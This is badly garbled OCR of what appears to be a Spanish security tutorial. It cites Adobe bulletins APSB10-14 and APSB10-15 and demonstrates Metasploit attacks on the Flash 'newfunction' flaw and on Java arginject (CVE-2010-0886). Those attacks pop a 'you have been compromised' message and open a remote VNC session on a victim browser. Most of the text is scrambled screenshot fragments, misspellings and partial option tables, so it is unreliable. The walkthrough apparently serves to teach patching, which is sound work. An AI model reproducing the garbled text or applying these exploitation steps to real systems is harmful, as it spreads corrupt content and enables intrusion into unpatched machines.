Adobe has released a product update to Adobe Flash Player to resolve the relevant security issue. For more information
please refer to Secunty Bulletin APSB10-14.

Adobe has released product updates to Adabe Reader and Acrobat to resolve the relevant security issue. For mare
information, please refer to Security Bulletin APSB10-15.

Please note that the Acrobat and Reader update represents an accelerated release of the next quarterly security update
originally scheduled for July 13, 2010. With this accelerated scheduled we do not plan to release any new updates for Adobe
Reader and Acrabat on July 13, 2010.

AFFECTED SOFTWARE VERSIONS E|
FTTTTT @ (R«

| /
MW ::lMSVDM 00000 ‘ «B 58 QK0 o

Metasploit también nos informa de la vulnerabilidad:
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Flash P1ay "newfunction" Inv

cription:
This v

Jr id
imilar DEP

Con lo cual ya podemos aprovechar la vulnerabilidad, el sistema es el mismo del
caso anterior por broser, en este caso utilizaré un payload diferente para variar un poco,
y que nos mostrara un inocente mensaje de texto.

g connections
that uld be used

The URI to use for this exploit {default is random)

load options (wir

Name Curr

or QUESTI

Vamos a conectarnos desde la victima y veremos el resultado.
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3 http:/ /www.aeat.es/ - Microsoft Internet Explorer Fs | ﬁll‘zj
Archive:  Edicisn  Ira  Favortos  Avuda | ;ﬁF
@Atrés - @ ¥ B @ ‘{;j | pEL’quue.da *Favoritos. @| E:’gv ,“;L % CJ ﬁ ..3

:Dirie_c'cié_nFahttp:,l',l'www.aeat.es,l' :J B |“v'|'|'n&u|0'.s =

=X S U N CEn s = = | —

I»

Atencion mensaje impnrta.l_'_i 5[

Has sido wulnerado

:
Hechao l_ l_ l_ l_ l_ IZDna desconocid.
1 nicio| ] httpi/jwiw aeat.esf - M... [ 2 Atencion mensate im... B« 2o nad
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Java arginject

Para mostraros que no basta con securizar el sistema operative sino que igual se
importante tener el software actualizado os maestro una vulnerabilidad de java.

En esta occasion accederemos a la base de datos de mitre.org don de esta
clasificada la vulnerabilidad http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0886

/2 CVE - CVE-2010-0886 (under review) - Windows Internet Explorer

|8 httpisfcve.mitre. orgjegi-binjcvename. caifname=2010-0885 EIEES e

frchivo  Edicién  Wer Favoritos  Herramientas  Ayuda

4gina - i Herramientas -

& CVE - CYE-2010-0886 (u... X
CVE LIST COMPATIBLE PRODUCTS NEWS — JANUARY 3, 2011

Adobe - Security Advisorie:

( Bl il iti
s\ ff A o e e
o’ Wiy

onal Vulnerability Database (NVD)
formation « Vulnerable Software Versions = SCAP Mappings

rn more at Na
verity Rating = Fix

CVE-2010-0886 L:

(under review) =

Search NVD Unspecified vulnerability in the Java Deployment Toolkit component in Oracle Java SE and Java for Business JDK and JRE 6 Update
CVE In Use 10 through 19 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors

identifie
Editorial Policies
About CVE Identifiers

comyiletes ITEMS OF INTEREST | _|
News & Events * Terminology
Calendar . NVD
. uppo
+ APPLEIAPPLE-SA-2010-05-18-1
. flists 2/2010//May/msg00001 html
Contact Us .
Search the Site . g
+ SUNALERT:279590
 URL:http://sunsolve sun.com/search/document.do?assetkey=1-66-279590-1
+ SUNALERT:1022294
« URL:http://sunsolve.st
.
z =l
3 |@ mmtsmet 1% -
o] [Ben Hwwoo0 0o EH|[«#sn 4080 o2

Usaremos metasploit para que no devuelva una sesion Vnc remota:

11y t
echnique ead, p none
add
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Como se muestra en la imagen, el exploit nos devuelve la consola vnc.

I CureCASTVERSIONrevy3.doc - Microsoft Word BEER

archivo  Edicién  Ver Insertr Formato  Herramientas Tabla  Vemtana T Escriba una ta - %
> 3 A % <
DEHRS AL IVE B9 A & windowsipss - Microsoft Virtual PG 2007 BEER
A4 Normal + Justifi + TimesNewRoman + 12 | N & 8 Ar Editar Isque! 5
L A T jHIw/vkRYcZxail5.shtml - Microsoft Internet Explorer TR f]
Archivo  Edicién  Ver Favorkos  Herramientas  Ayuda o
g e » S e LTS ril L -
@ntras & ﬂ E 7!,|/ Busqueda . Favoriios 7] =
Direccian [ @] http: fjwww. seat es/rTiHImvIRYCExalS. shiml = B | vinculos

Please wat...

Archiva  Edicidn  Ver Favorikos  Herramientas — Ayuda

@Atvés 22l ) e ﬂ @ 7;||/7.’B\.'Isaueda

Direccidn |§} e i, azat es/rviTiHIW VKR Y CZxa S sheml

Please weait.
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